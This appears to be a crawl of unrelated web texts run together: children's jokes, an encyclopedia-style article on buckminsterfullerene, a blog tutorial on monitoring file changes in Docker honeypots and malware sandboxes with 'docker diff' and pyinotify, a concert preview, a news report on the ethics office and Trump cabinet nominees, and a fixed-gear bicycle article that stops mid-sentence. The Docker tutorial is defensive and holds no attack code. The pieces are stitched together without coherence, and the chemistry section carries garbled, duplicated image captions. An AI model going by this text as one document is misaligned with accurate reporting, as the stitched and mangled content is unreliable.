"Spend most of your time loving instead of going to work." (Tom, 7) Don't forget your wife's name...that will mess up the love." (Roger,8) "Be a good kisser. It might make your wife forget that you never take the trash out." (Randy,8) Anonymous If you enjoyed this, you might like: Another Joke A list of Jokes -"Buckyball" redirects here. For other uses, see Buckyball (disambiguation) Buckminsterfullerene is a type of fullerene with the formula C 60 . It has a cage-like fused-ring structure (truncated icosahedron) that resembles a soccer ball (football), made of twenty hexagons and twelve pentagons, with a carbon atom at each vertex of each polygon and a bond along each polygon edge. Preparation and occurrence [ edit ] It was first generated in 1984 by Eric Rohlfing, Donald Cox and Andrew Kaldor[2][3] using a laser to vaporize carbon in a supersonic helium beam. In 1985 their work was repeated by Harold Kroto, James R. Heath, Sean O'Brien, Robert Curl, and Richard Smalley at Rice University, who recognized the structure of C 60 as buckminsterfullerine.[4] Kroto, Curl and Smalley were awarded the 1996 Nobel Prize in Chemistry for their roles in the discovery of buckminsterfullerene and the related class of molecules, the fullerenes. Buckminsterfullerene is the most common naturally occurring fullerene. It can be found in small quantities in soot.[5][6] The molecule has been detected in deep space.[7] Etymology [ edit ] The discoverers of the allotrope named the newfound molecule after Buckminster Fuller, who designed many geodesic dome structures that look similar to C 60 . This is slightly misleading, however, as Fuller's geodesic domes are constructed from triangles and not hexagons or pentagons. A common, shortened name for buckminsterfullerene is "buckyballs".[8] History [ edit ] 60 . Many soccer balls have the same arrangement of polygons as buckminsterfullerene, C Theoretical predictions of buckyball molecules appeared in the late 1960s and early 1970s,[9][10][11] but these reports went largely unnoticed. In the early 1970s, the chemistry of unsaturated carbon configurations was studied by a group at the University of Sussex, led by Harry Kroto and David Walton. In the 1980s, Smalley and Curl at Rice University developed experimental technique to generate these substances. They used laser vaporization of a suitable target to produce clusters of atoms. Kroto realized that by using a graphite target,[12] a range of carbon clusters could be studied. Concurrent but unconnected to the Kroto-Smalley work, astrophysicists were working with spectroscopists to study infrared emissions from giant red carbon stars.[13][14][15] Smalley and team were able to use a laser vaporization technique to create carbon clusters which could potentially emit infrared at the same wavelength as had been emitted by the red carbon star.[13][16] Hence, the inspiration came to Smalley and team to use the laser technique on graphite to generate fullerenes. C 60 was discovered in 1985 by Robert Curl, Harold Kroto, and Richard Smalley. Using laser evaporation of graphite they found C n clusters (where n>20 and even) of which the most common were C 60 and C 70 . A solid rotating graphite disk was used as the surface from which carbon was vaporized using a laser beam creating hot plasma that was then passed through a stream of high-density helium gas.[17] The carbon species were subsequently cooled and ionized resulting in the formation of clusters. Clusters ranged in molecular masses, but Kroto and Smalley found predominance in a C 60 cluster that could be enhanced further by allowing the plasma react longer. They also discovered that the C 60 molecule formed a cage-like structure, a regular truncated icosahedron.[13][17] For this discovery Curl, Kroto, and Smalley were awarded the 1996 Nobel Prize in Chemistry.[9] The experimental evidence, a strong peak at 720 atomic mass units, indicated that a carbon molecule with 60 carbon atoms was forming, but provided no structural information. The research group concluded after reactivity experiments, that the most likely structure was a spheroidal molecule. The idea was quickly rationalized as the basis of an icosahedral symmetry closed cage structure. Kroto mentioned geodesic dome structures of the noted futurist and inventor Buckminster Fuller as influences in the naming of this particular substance as buckminsterfullerene.[9] In 1989 physicists Wolfgang Krätschmer, Konstantinos Fostiropoulos, and Donald R. Huffman observed unusual optical absorptions in thin films of carbon dust (soot). The soot had been generated by an arc-process between two graphite electrodes in a helium atmosphere where the electrode material evaporates and condenses forming soot in the quenching atmosphere. Among other features, the IR spectra of the soot showed four discrete bands in close agreement to those proposed for C 60 .[18][19] Another paper on the characterization and verification of the molecular structure followed on in the same year (1990) from their thin film experiments, and detailed also the extraction of an evaporable as well as benzene soluble material from the arc-generated soot. This extract had TEM and X-ray crystal analysis consistent with arrays of spherical C 60 molecules, approximately 1.0 nm in van der Waals diameter[20] as well as the expected molecular mass of 720 u for C 60 (and 840 u for C 70 ) in their mass spectra.[21] The method was simple and efficient to prepare the material in gram amounts per day (1990) which has boosted the fullerene research and is even today applied for the commercial production of fullerenes. The discovery of practical routes to C 60 led to the exploration of a new field of chemistry involving the study of fullerenes. Synthesis [ edit ] 60 -fullerene derivative. Slow diffusion into the anode (right side) yields the characteristic purple color of pure C 60 . High-vacuum electrolysis of a C-fullerene derivative. Slow diffusion into the anode (right side) yields the characteristic purple color of pure C Soot is produced by laser ablation of graphite or pyrolysis of aromatic hydrocarbons. Fullerenes are extracted from the soot with organic solvents using a Soxhlet extractor.[22] This step yields a solution containing up to 75% of C 60 , as well as other fullerenes. These fractions are separated using chromatography.[23] Generally, the fullerenes are dissolved in a hydrocarbon or halogenated hydrocarbon and separated using alumina columns.[24] Structure [ edit ] Buckminsterfullerene is a truncated icosahedron with 60 vertices and 32 faces (20 hexagons and 12 pentagons where no pentagons share a vertex) with a carbon atom at the vertices of each polygon and a bond along each polygon edge. The van der Waals diameter of a C 60 molecule is about 1.01 nanometers (nm). The nucleus to nucleus diameter of a C 60 molecule is about 0.71 nm. The C 60 molecule has two bond lengths. The 6:6 ring bonds (between two hexagons) can be considered "double bonds" and are shorter than the 6:5 bonds (between a hexagon and a pentagon). Its average bond length is 0.14 nm. Each carbon atom in the structure is bonded covalently with 3 others.[25] 60 under "ideal" spherical (left) and "real" icosahedral symmetry (right). Electronic structure of Cunder "ideal" spherical (left) and "real" icosahedral symmetry (right). The model is built of magnetic balls (5mm diam.); 12 pentagons compose a spherical shell with 60 nodes, demonstrating the Carbon atoms. The model suggests 4 nearest-neighbors to each atom, this is possible because the hexagons are squeezed. Properties [ edit ] Buckminsterfullerene is the largest object observed to exhibit wave–particle duality; theoretically every object exhibits this behavior.[26] The compound is stable,[27] withstanding high temperatures and high pressures. The exposed surface of the structure can selectively react with other species while maintaining the spherical geometry.[28] Beam experiments conducted between 1985 and 1990 provided more evidence for the stability of C 60 while supporting the closed-cage structural theory and predicting some of the bulk properties such a molecule would have. Around this time, intense theoretical group theory activity also predicted that C 60 should have only four IR-active vibrational bands, on account of its icosahedral symmetry.[20] C 60 undergoes six reversible, one-electron reductions to C6− 60 , but oxidation is irreversible. The first reduction needs ≈1.0 V (Fc/Fc+ ), showing that C 60 is a moderately effective electron acceptor. C 60 tends to avoid having double bonds in the pentagonal rings, which makes electron delocalization poor, and results in C 60 not being "superaromatic". C 60 behaves very much like an electron deficient alkene and readily reacts with electron rich species.[20] A carbon atom in the C 60 molecule can be substituted by a nitrogen or boron atom yielding a C 59 N or C 59 B respectively.[29] Orthogonal projections Centered by Vertex Edge 5–6 Edge 6–6 Face Hexagon Face Pentagon Image Projective symmetry [2] [2] [2] [6] [10] Solution [ edit ] 60 solution solution C 60 solution, showing reduced absorption for the blue (~450 nm) and red (~700 nm) light that results in the purple color. Optical absorption spectrum ofsolution, showing reduced absorption for the blue (~450 nm) and red (~700 nm) light that results in the purple color. Fullerenes are sparingly soluble in aromatic solvents such as toluene and carbon disulfide, but insoluble in water. Solutions of pure C 60 have a deep purple color which leaves a brown residue upon evaporation. The reason for this color change is the relatively narrow energy width of the band of molecular levels responsible for green light absorption by individual C 60 molecules. Thus individual molecules transmit some blue and red light resulting in a purple color. Upon drying, intermolecular interaction results in the overlap and broadening of the energy bands, thereby eliminating the blue light transmittance and causing the purple to brown color change.[33] C 60 crystallises with some solvents in the lattice ("solvates"). For example, crystallization of C 60 in benzene solution yields triclinic crystals with the formula C 60 ·4C 6 H 6 . Like other solvates, this one readily releases benzene to give the usual fcc C 60 . Millimeter-sized crystals of C 60 and C 70 can be grown from solution both for solvates and for pure fullerenes.[34][35] Solid [ edit ] 60 solid solid C 60 crystal structure crystal structure In solid buckminsterfullerene, the C 60 molecules adopt the fcc (face-centered cubic) motif. They start rotating at about −20 °C. This change is associated with a first-order phase transition to a fcc structure and a small, yet abrupt increase in the lattice constant from 1.411 to 1.4154 nm.[36] C 60 solid is as soft as graphite, but when compressed to less than 70% of its volume it transforms into a superhard form of diamond (see aggregated diamond nanorod). C 60 films and solution have strong non-linear optical properties; in particular, their optical absorption increases with light intensity (saturable absorption). C 60 forms a brownish solid with an optical absorption threshold at ≈1.6 eV.[37] It is an n-type semiconductor with a low activation energy of 0.1–0.3 eV; this conductivity is attributed to intrinsic or oxygen-related defects.[38] Fcc C 60 contains voids at its octahedral and tetrahedral sites which are sufficiently large (0.6 and 0.2 nm respectively) to accommodate impurity atoms. When alkali metals are doped into these voids, C 60 converts from a semiconductor into a conductor or even superconductor.[36][39] Chemical reactions and properties [ edit ] Hydrogenation [ edit ] C 60 exhibits a small degree of aromatic character, but it still reflects localized double and single C–C bond characters. Therefore, C 60 can undergo addition with hydrogen to give polyhydrofullerenes. C 60 also undergoes Birch reduction. For example, C 60 reacts with lithium in liquid ammonia, followed by tert-butanol to give a mixture of polyhydrofullerenes such as C 60 H 18 , C 60 H 32 , C 60 H 36 , with C 60 H 32 being the dominating product. This mixture of polyhydrofullerenes can be re-oxidized by 2,3-dichloro-5,6-dicyano-1,4-benzoquinone to give C 60 again. Selective hydrogenation method exists. Reaction of C 60 with 9,9′,10,10′-dihydroanthracene under the same conditions, depending on the time of reaction, gives C 60 H 32 and C 60 H 18 respectively and selectively.[40] C 60 can be hydrogenated,[41] suggesting that a modified buckminsterfullerene called organometallic buckyballs (OBBs) could become a vehicle for "high density, room temperature, ambient pressure storage of hydrogen". These OBBs are created by binding atoms of a transition metal (TM) to C 60 or C 48 B 12 and then binding many hydrogen atoms to this TM atom, dispersing them evenly throughout the inside of the organometallic buckyball. The study found that the theoretical amount of H 2 that can be retrieved from the OBB at ambient pressure approaches 9 wt %, a mass fraction that has been designated as optimal for hydrogen fuel by the U.S. Department of Energy. Halogenation [ edit ] Addition of fluorine, chlorine, and bromine occurs for C 60 . Fluorine atoms are small enough for a 1,2-addition, while Cl 2 and Br 2 add to remote C atoms due to steric factors. For example, in C 60 Br 8 and C 60 Br 24 , the Br atoms are in 1,3- or 1,4-positions with respect to each other. Under various conditions a vast number of halogenated derivatives of C 60 can be produced, some with extraordinary selectivity on one or two isomers over the other possible ones. Addition of fluorine and chlorine usually results in a flattening of the C 60 framework into a drum-shaped molecule.[40] Addition of oxygen atoms [ edit ] Solutions of C 60 can be oxygenated to the epoxide C 60 O. Ozonation of C 60 in 1,2-xylene at 257K gives an intermediate ozonide C 60 O 3 , which can be decomposed into 2 forms of C 60 O. Decomposition of C 60 O 3 at 296 K gives the epoxide, but photolysis gives a product in which the O atom bridges a 5,6-edige.[40] Cycloadditions [ edit ] The Diels–Alder reaction is commonly employed to functionalize C 60 . Reaction of C 60 with appropriate substituted diene gives the corresponding adduct. The Diels–Alder reaction between C 60 and 3,6-diaryl-1,2,4,5-tetrazines affords C 62 . The C 62 has the structure in which a four-membered ring is surrounded by four six-membered rings. 62 derivative [C 62 (C 6 H 4 -4-Me) 2 ] synthesized from C 60 and 3,6-bis(4-methylphenyl)-3,6-dihydro-1,2,4,5-tetrazine A Cderivative [C(C-4-Me)] synthesized from Cand 3,6-bis(4-methylphenyl)-3,6-dihydro-1,2,4,5-tetrazine The C 60 molecules can also be coupled through a [2+2] cycloaddition, giving the dumbbell-shaped compound C 120 . The coupling is achieved by high-speed vibrating milling of C 60 with a catalytic amount of KCN. The reaction is reversible as C 120 dissociates back to two C 60 molecules when heated at 450 K (177 °C; 350 °F). Under high pressure and temperature, repeated [2+2] cycloaddition between C 60 results in a polymerized fullerene chains and networks. These polymers remain stable at ambient pressure and temperature once formed, and have remarkably interesting electronic and magnetic properties, such as being ferromagnetic above room temperature.[40] Free radical reactions [ edit ] Reactions of C 60 with free radicals readily occur. When C 60 is mixed with a disulfide RSSR, the radical C 60 SR• forms spontaneously upon irradiation of the mixture. Stability of the radical species C 60 Y• depends largely on steric factors of Y. When tert-butyl halide is photolyzed and allowed to react with C 60 , a reversible inter-cage C–C bond is formed:[40] Cyclopropanation (Bingel reaction) [ edit ] Cyclopropanation (the Bingel reaction) is another common method for functionalizing C 60 . Cyclopropanation of C 60 mostly occurs at the junction of 2 hexagons due to steric factors. The first cyclopropanation was carried out by treating the β-bromomalonate with C 60 in the presence of a base. Cyclopropanation also occur readily with diazomethanes. For example, diphenyldiazomethane reacts readily with C 60 to give the compound C 61 Ph 2 .[40] Phenyl-C 61 -butyric acid methyl ester derivative prepared through cyclopropanation has been studied for use in organic solar cells. Redox reactions – C 60 anions and cations [ edit ] C 60 anions [ edit ] The LUMO in C 60 is triply degenerate, with the HOMO–LUMO separation relatively small. This small gap suggests that reduction of C 60 should occur at mild potentials leading to fulleride anions, [C 60 ]n− (n = 1–6). The midpoint potentials of 1-electron reduction of buckminsterfullerene and its anions is given in the table below: Reduction potential of C 60 at 213 K Half-reaction E° (V) C 60 + e− ⇌ C − 60 −0.169 C − 60 + e− ⇌ C 2− 60 −0.599 C 2− 60 + e− ⇌ C 3− 60 −1.129 C 3− 60 + e− ⇌ C 4− 60 −1.579 C 4− 60 + e− ⇌ C 5− 60 −2.069 C 5− 60 + e− ⇌ C 6− 60 −2.479 C 60 forms a variety of charge-transfer complexes, for example with tetrakis(dimethylamino)ethylene: C 60 + C 2 (NMe 2 ) 4 → [C 2 (NMe 2 ) 4 ]+[C 60 ]− This salt exhibits ferromagnetism at 16 K. C 60 cations [ edit ] C 60 oxidizes with difficulty. Three reversible oxidation processes have been observed by using cyclic voltammetry with ultra-dry methylene chloride and a supporting electrolyte with extremely high oxidation resistance and low nucleophilicity, such as [nBu 4 N] [AsF 6 ].[40] Reduction potentials of C 60 oxidation at low temperatures Half-reaction E° (V) C 60 ⇌ C + 60 +1.27 C + 60 ⇌ C 2+ 60 +1.71 C 2+ 60 ⇌ C 3+ 60 +2.14 Which the [C 60 ]2+ ion is very unstable, and the third process can be studied only at low temperatures. The redox potentials of C 60 can be modified supramolecularly. A dibenzo-18-crown-6 derivative of C 60 has been made, featuring a voltage sensor device, with the reversible binding of K+ ion causing an anodic shift of 90mV of the first C 60 reduction. Metal complexes [ edit ] C 60 forms complexes akin to the more common alkenes. Complexes have been reported molybdenum, tungsten, platinum, palladium, iridium, and titanium. The pentacarbonyl species are produced by photochemical reactions. M(CO) 6 + C 60 → M(η2-C 60 )(CO) 5 + CO (M = Mo, W) In the case of platinum complex, the labile ethylene ligand is the leaving group in a thermal reaction: Pt(η2-C 2 H 4 )(PPh 3 ) 2 + C 60 → Pt(η2-C 60 )(PPh 3 ) 2 + C 2 H 4 Titanocene complexes have also been reported: (η5-Cp) 2 Ti(η2-(CH 3 ) 3 SiC≡CSi(CH 3 ) 3 ) + C 60 → (η5-Cp) 2 Ti(η2-C 60 ) + (CH 3 ) 3 SiC≡CSi(CH 3 ) 3 Coordinatively unsaturated precursors, such as Vaska's complex, for adducts with C 60 : trans-Ir(CO)Cl(PPh 3 ) 2 + C 60 → Ir(CO)Cl(η2-C 60 )(PPh 3 ) 2 One such iridium complex, [Ir(η2-C 60 )(CO)Cl(Ph 2 CH 2 C 6 H 4 OCH 2 Ph) 2 ] has been prepared where the metal center projects two electron-rich 'arms' that embrace the C 60 guest.[42] Endohedral fullerenes [ edit ] Metal atoms or certain small molecules such as H 2 and noble gas can be encapsulated inside the C 60 cage. These endohedral fullerenes are usually synthesized by doping in the metal atoms in an arc reactor or by laser evaporation. These methods gives low yields of endohedral fullerenes, and a better method involves the opening of the cage, packing in the atoms or molecules, and closing the opening using certain organic reactions. This method, however, is still immature and only a few species have been synthesized this way.[43] Endohedral fullerenes show distinct and intriguing chemical properties that can be completely different from the encapsulated atom or molecule, as well as the fullerene itself. The encapsulated atoms have been shown to perform circular motions inside the C 60 cage, and its motion has been followed by using NMR spectroscopy.[42] Applications [ edit ] In the medical field, elements such as helium (that can be detected in minute quantities) can be used as chemical tracers in impregnated buckyballs. Water-soluble derivatives of C 60 were discovered to exert an inhibition on the three isoforms of nitric oxide synthase, with slightly different potencies.[44] The optical absorption properties of C 60 match solar spectrum in a way that suggests that C 60 -based films could be useful for photovoltaic applications. Because of its high electronic affinity [45] it is one of the most common electron acceptors used in donor/acceptor based solar cells. Conversion efficiencies up to 5.7% have been reported in C 60 –polymer cells.[46] Safety [ edit ] Solutions of C 60 dissolved in olive oil are nontoxic to rodents.[47] References [ edit ] Bibliography [ edit ] -15 January 2017 Docker for Automating Honeypots or Malware Sandboxes Docker became very popular in the last few years for being such a flexible tool to isolate processes in so called containers. If you haven't played with it yet, I highly recommend you to watch my free course on Docker Security. But if you have, I'd like to give you a insight that provide significant value for automating honeypots or malware sandboxes. I'm talking about 'docker diff' and how to dynamically spot changes on it. $ docker diff It's possible to keep track of every file changed in a container since its creation from an image, thus it's possible to know what files the attacker/malware have created, modified or deleted. Here's an example: let's create a container from an Ubuntu image and leave it running using sleep $ docker run --name my_sandbox --detach ubuntu sleep 2000 fc04fa5bf6a4f16f3fa3f8379bd1935c66cde00c8b16330e0a5683517f24ad48 Let's check if it's running: $ docker ps CONTAINER ID IMAGE COMMAND NAMES fc04fa5bf6a4 ubuntu "sleep 2000" my_sandbox Ok, it's running. Let's try docker diff to see if any files were changed after we used the 'sleep' command. $ docker diff my_sandbox # No output It turns out that 'sleep' doesn't create/modify/delete any file. Let's create one file in this container then: $ docker exec my_sandbox touch /tmp/test # No output Ok, file created. Let's see if docker diff shows something now: $ docker diff my_sandbox C /tmp A /tmp/test Here it is, a new directory (/tmp) and a new file (/tmp/test). It's empty, but let's copy it anyways to our host machine using docker cp $ docker cp my_sandbox:tmp/test ./test # No output File copied! But the problem is, in case we want to automate this process to, for example, send every new file to VirusTotal, how could we get notified when a file is created? We have a few options: Perform a pooling in docker diff Share a volume between docker host and container and use tools like inotify-tools or pyinotify. Using pyinotify Let's use pyinotify to see an example. After installing it, open 2 tabs in your terminal. In the first, start the container and in the second start pyinotify script to monitor the files located in the shared volume. $ # First Tab $ docker run --name my_sandbox --detach -v " $( pwd ) /deleteme:/app" ubuntu sleep 2000 e4e92df3d3198b3747ee48becac2742f4666a61706f0b50a3c97d344b2a64b22 Container started sharing the volume deleteme relative to the current directory $(pwd) $ # Second Tab $ vim monitor.py Time to add the content of our monitor.py file #!/usr/bin/python import pyinotify , subprocess # Directory to watch # We'll use the shared volume with docker container directory_to_watch = '/home/anderson/deleteme/' def onChange ( ev ): # Print changed file on the screen # But could be your code to upload the file to VirusTotal # Or anything you want cmd = [ '/bin/echo' , 'File' , ev . pathname , 'changed' ] subprocess . Popen ( cmd ) . communicate () wm = pyinotify . WatchManager () wm . add_watch ( directory_to_watch , pyinotify . IN_CLOSE_WRITE , onChange ) notifier = pyinotify . Notifier ( wm ) notifier . loop () Then we run it to monitor our files: $ # Second Tab $ python monitor.py Ok, time to back to Tab #1 and create some files from within the container: $ # First Tab $ docker exec -it my_sandbox touch /app/oi Great, file created. Let's check the output of our python script: $ # Second Tab $ python monitor.py File /home/anderson/deleteme/oi changed As you can see, the file creation was detected. It also works with modifications for existing files. This is just the beginning of course. We'd need to intercept network requests configuring a proxy in Docker settings, get the logs from the container and perform some analysis on it and any more ideas to analyze container activity without placing agents or anything inside of it. This way the difference between a non-honeypot and a honeypot/malware sandbox will become less and less apparent. Edit: you may want to read the next post: Preventing Docker Escaping Attacks That's all for today. Thank you! -On February 27, WasteLAnd presents a concert titled Terrain at ArtShare. It’s a heavy-duty program of music by Brian Ferneyhough, Elizabeth Lutyens, and Brian Griffeath-Loeb, featuring Mark Menzies as violin soloist on Ferneyhough’s Terrain (see concert title) and soprano Stephanie Aston singing Etudes Transcendantales. I was lucky to be invited to a rehearsal, and the ensemble (which also includes Rachel Beetz, Ashley Walters, Richard Valitutto, and Paul Sherman, conducted by Nick Deyoe), let me film a few snippets of them preparing. Nick had an extra copy of the score for me. If you’ve never seen Ferneyhough’s music, well, here’s a photo I took: The whole score – all of his scores, really – is similarly difficult. I asked Stephanie how she approaches music like this (in this case, the measure above) and her answer was enlightening: Here’s a copy of the same section, this time with Stephanie’s markings: And now the part you’ve all been waiting for, this excerpt with the ensemble. The measure in question hits at 0:06: Want to hear to the rest? Come to the concert at ArtShare on February 27. Details are available at wastelandmusic.org/concert-archive/february-27-2015. Share this: Facebook Twitter Tumblr Email Print Like this: Like Loading... -The incoming president and the current federal office of ethics openly clashed Saturday, in a battle that sets up a heated debate over how much the Senate should know about cabinet nominees ahead of their hearings. The independent Office of Government Ethics expressed “great concern” that several of President-elect Donald Trump’s cabinet nominees have not yet completed the required ethics review process or even filed any financial information but face confirmation hearings in the next week. A Senate Democratic aide told NewsHour that four upcoming nominees have not cleared the ethics process yet: Ben Carson, Housing and Urban Development; Betsy DeVos, Education; John Kelly, Homeland Security; and Wilbur Ross, Commerce. A Republican aide on the Senate Health, Education, Labor and Pensions (HELP) Committee confirmed the DeVos has not yet completed the OGE ethics process. Her hearing is one of the first, scheduled for Wednesday at 10 a.m. The NewsHour reached out to all committees involved and received no other direct responses on nominees’ ethics status. The Trump transition team also declined to address individual nominees, but pushed back strongly against the federal ethics office, accusing it of playing politics. “President-elect Trump is putting together the most qualified administration in history and the transition process is currently running smoothly,” wrote Trump transition spokeswoman Jessica Ditto in an email. “In the midst of a historic election where Americans voted to drain the swamp, it is disappointing some have chosen to politicize the process in order to distract from important issues facing our country. This is a disservice to the country and is exactly why voters chose Donald J. Trump as their next president.” The concerns came in a Friday letter from Walter Shaub, the director of the Office of Government Ethics, who was responding to questions from top Democrats in the Senate. Senate Democratic Leader Chuck Schumer released the letter Saturday. “The announced hearing schedule for several nominees who have not completed the ethics review process is of great concern to me,” Shaub wrote. “I am not aware of any occasion in the four decades since OGE was established when the Senate held a confirmation hearing before the nominee had completed the ethics review process.” Senate confirmation hearings are set to begin Tuesday, with 10 nominees scheduled to go before various Senate panels next week. OGE director Shaub argued that federal law requires that ethics reports be completed before any hearings take place. But Senate Republicans disagree. The spokesperson for the Republican majority on the HELP committee, Margaret Atkinson, insisted that clearance of the ethics process is not a requirement before hearings start. “Our committee precedent is that we require the OGE paperwork to be submitted before the committee holds a vote on the nominee, not before the committee holds a hearing on the nominee,” she told the NewsHour. The committee sent the NewsHour examples from the past, including George W. Bush education nominee Rod Paige whose hearing was on Jan. 10, 2001, but whose ethics paperwork was not complete until Jan. 18 of that year. As the Senate Republicans and the ethics office debate what is required at nominee hearings, the ethics office is also raising questions about the Trump transition process. The problems, the ethics chief wrote, have been the hearing schedule combined with a lack of timely information from nominees and the Trump team. “It has left some of the nominees with potentially unknown or unresolved ethics issues shortly before their scheduled hearings.” He did not indicate which nominees have completed which portions of the process. The Office of Government Ethics, or OGE, is an independent agency whose current director was appointed by President Barack Obama. It was created after the Watergate scandal to oversee ethics for the executive branch. Typically during the confirmation process, the ethics office writes reports outlining any possible ethics issues and steps the nominee agrees to take to resolve them. But the ethics director implied his office has not had time to complete reviews yet because the Trump transition team did not “pre-clear” any potential nominees before announcing them publicly. “In the past, the ethics work was fully completed prior to the announcement of nominees in the overwhelming majority of cases … and, therefore, there was no opportunity for undue influence on the independent ethics review process,” Shaub wrote. The letter was also sent to Republican Senate Leader Mitch McConnell. His office told the PBS NewsHour that they have no comment at this time. The Trump transition team did not respond to questions and a request for comment. The letter lands in a quickly-boiling political cauldron surrounding the Trump cabinet confirmation process. Senate Democrats have indicated they have sharp questions about, and may work to delay confirmation on, at least eight nominees. That has incensed Republicans, who point to 2009 when President Obama saw seven cabinet nominees confirmed on Inauguration Day and two more the next. Republicans charge that Democrats are holding Trump’s choices to a different standard than Obama’s. They point to Democrats’ request for tax returns for several positions for which that step has not been required in the past. Republicans have rejected those requests and are not adding any new requirements for nominees. But the disclosure from the Office of Government Ethics comes from an outside agency and indicates that at least some nominees have not yet met a significant and important requirement. Without ethics reports, senators would go into confirmation hearings without a usual source of potential questions. Shaub called that a “cause for alarm” and said that he will not rush the ethics review process. “For as long as I remain director, OGE’s staff and agency ethics officials will not succumb to pressure to cut corners and ignore conflicts of interest,” he wrote. -This article is about a bicycle with no freewheel mechanism. For a bicycle with only one gear, see single-speed bicycle A fixed-gear bicycle An 18-tooth sprocket that attaches to the rear hub of fixed-gear bike Track sprockets are typically attached and removed from the hub by screwing them with a chain whip . This tool incorporates a lockring spanner for securing a reverse threaded lockring against the sprocket. A fixed-gear bicycle (or fixed-wheel bicycle,[citation needed] commonly known in some places as a fixie[1]) is a bicycle that has a drivetrain with no freewheel mechanism. The freewheel was developed early in the history of bicycle design but the fixed-gear bicycle remained the standard track racing design. More recently the "fixie" has become a popular alternative among mainly urban cyclists, offering the advantage of simplicity compared with the standard multi-geared bicycle. Most bicycle hubs incorporate a freewheel to allow the pedals to remain stationary while the bicycle is in motion, so that the rider can coast, i.e., ride without pedalling using forward momentum. A fixed-gear drivetrain has the drive sprocket (or cog) threaded or bolted directly to the hub of the back wheel, so that the pedals are directly coupled to the wheel. During acceleration, the pedal crank drives the wheel, but in other situations, the rear wheel can drive the pedal cranks.[2] This direct coupling allows a cyclist to apply a braking force with the legs and bodyweight, by resisting the rotation of the cranks. It also makes it possible to cycle backwards. As a general rule, fixed-gear bicycles are single-speed. A derailleur for gear selection would introduce chain slack, which would interfere with braking. Gear selection can, however, be accomplished with the use of an internally geared hub. For example, a Sturmey-Archer fixed-gear 3-speed hub is a fixed-gear multi-speed arrangement. Most fixed-gear bicycles only have a front brake, and some have no brakes at all.[3][4] Uses [ edit ] A track bicycle or track bike is a form of fixed-gear bicycle optimized for racing at a velodrome or at an outdoor track. Some road racing and club cyclists use a fixed-gear bicycle for training during the winter months, generally using a relatively low gear ratio, believed to help develop a good pedalling style.[5] In the UK until the 1950s it was common for riders to use fixed-gear bicycles for time trials. The 1959 British 25 mile time trial championship was won by Alf Engers with a competition record of 55 minutes 11 seconds, riding an 84 inch fixed-gear bicycle.[6][7][8][9] The fixed-gear was also commonly used, and continues to be used in the end of season hill climb races in the autumn.[10][11] A typical club men's fixed-gear machine would have been a "road/path" or "road/track" cycle. In the era when most riders only had one cycle, the same bike when stripped down and fitted with racing wheels was used for road time trials and track racing, and when fitted with mudguards (fenders) and a bag, it was used for club runs, touring and winter training.[12][13][14][15] By the 1960s, multi-gear derailleurs had become the norm and riding fixed-gear bicycles on the road declined over the next few decades.[16] Recent[needs update] years have seen renewed interest and increased popularity of fixed-gear cycling. In urban North America and similar areas in other Western cities, fixed-gear bicycles have achieved significant popularity, with the rise of discernible regional aesthetic preferences for finish and design details.[17] Dedicated fixed-gear road bicycles are being produced in greater numbers by established bicycle manufacturers. They are generally low in price[18] and characterized by relaxed road geometry, as opposed to the steep geometry of track bicycles.[19] Fixed-gear bicycles are also used in cycle ball, bike polo and artistic cycling. A fixed-gear bicycle is particularly well suited for track stands, a maneuver in which the bicycle can be held stationary, balanced upright with the rider's feet on the pedals.[20] Advantages and disadvantages [ edit ] One of the perceived main attractions of a fixed gear bicycle is low weight. Without the added parts required for a fully geared drive train—derailleurs, shifters, cables, cable carriers, multiple chain rings, freewheel hub, brazed-on mounting lugs—a fixed gear bicycle weighs less than its geared equivalent. The chain itself is subject to less sideways force and will not wear out as fast as on a derailleur system.[21] Also, a fixed gear drivetrain is more mechanically efficient than any other bicycle drivetrain, with the most direct power transfer from rider to the wheels. Thus, a fixed gear requires less energy in any given gear to move than a geared bike in the same gear.[3] In slippery conditions some riders prefer to ride fixed because they believe the transmission provides increased feedback on back tire grip. However, there is also an increased risk of loss of control in such conditions. This is especially so when taking into account the large number of riders who ride brakeless. These riders must brake entirely through the drivetrain. Ideally this is done by resisting the forward motion of the pedals, shedding speed while the bike is still moving. Alternatively, though far less efficiently, one can brake by stopping the motion of the pedals in mid-rotation, causing the rear wheel to lock in place, allowing the bicycle to skid and slow down from kinetic friction (see below).[22] Descending any significant gradient is more difficult as the rider must spin the cranks at high speed (sometimes at 170 rpm or more), or use the brakes to slow down. Some consider that the enforced fast spin when descending increases suppleness or flexibility, which is said to improve pedalling performance on any type of bicycle; however the performance boost is negligible compared to the benefits of riding a free wheel.[23] Riding fixed is considered by some to encourage a more effective pedaling style, which it is claimed translates into greater efficiency and power when used on a bicycle fitted with a freewheel. It allows for the rider to engage in and practice proper cadence, which is the balanced and rhythmic flow of pedaling, enhancing performance for both cyclist and bicycle.[24] When first riding a fixed gear, a cyclist used to a freewheel may try to freewheel, or coast, particularly when approaching corners or obstacles. Since coasting is not possible this can lead to a "kick" to the trailing leg, and even to loss of control of the bicycle. Riding at high speed around corners can be difficult on a road bike converted into a fixed-gear bicycle, as the pedals can strike the road, resulting in loss of control. Proper track bikes have a higher bottom bracket to compensate for the constantly spinning cranks and largely mitigate this problem. Perhaps the most obvious disadvantage is the lack of multiple gears, and the flexibility in pedaling cadence and resistance made available through gear shifting. Hilly or uneven mountainous terrain with steep grades can be particularly challenging, as the rider cannot adjust the gearing to match the terrain. Brakeless [ edit ] Cyclist riding a fixed gear bike without brakes Many urban fixed-gear riders think brakes are not strictly necessary, and brakeless fixed riding has a cult status in some areas.[25] Brakes and their cables are said to add extra bulk to the simple appearance of a fixed gear bicycle, and they prevent trick manoeuvres that involve spinning the front wheel in a full circle, unless equipped with special 360° freedom "detangler" system already known on trial or BMX bicycles. Other riders dismiss riding on roads without brakes as an affectation, based on image rather than practicality.[26] Riding brakeless can be dangerous, is prohibited by law in many jurisdictions, and may jeopardize the chances of a claim in the event of an accident. [27] Technique [ edit ] It is possible to slow down or stop a fixed-gear bike in two ways. The first, most efficient, and least stressful on the rider's body is by resisting the turning cranks as they come up and around, shedding speed with each pedal rotation. The second way, less efficient but more showy, is to bump or skid the rear wheel along the pavement. Such a move is initiated by shifting the rider's weight slightly forward and pulling up on the pedals using clipless pedals or toe clips and straps. The rider then stops turning the cranks, thus stopping the drivetrain and rear wheel, while applying body weight in opposition to the rotation of the cranks. This causes the rear wheel to skid, and slow the bike. The skid can be held until the bicycle stops or until the rider desires to continue pedaling again at a slower speed. The technique requires practice and is generally considered dangerous when used during cornering .[28][29] On any bike with only rear wheel braking, the maximum deceleration is significantly lower than on 